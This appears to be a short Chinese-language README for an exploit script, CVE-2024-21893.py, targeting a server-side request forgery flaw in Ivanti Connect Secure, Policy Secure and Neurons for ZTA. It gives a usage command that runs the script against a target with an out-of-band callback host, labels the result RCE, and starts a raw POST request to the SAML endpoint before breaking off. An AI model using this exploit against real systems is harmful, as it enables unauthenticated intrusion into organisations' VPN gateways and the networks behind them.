CVE-2024-21893.py

CVE-2024-21893 是 Ivanti Connect Secure（9.x、22.x）、Ivanti Policy Secure（9.x、22.x）和 Ivanti Neurons for ZTA 的 SAML 组件中的一个服务器端请求伪造漏洞，允许攻击者在无需认证的情况下访问某些受限资源。 运行 python CVE-2024-21893.py -u target.com -a http://xxxxxxxxx.oastify.com RCE POST /dana-ws/saml20.ws HTTP/1.1 Host: target.com Accept: /...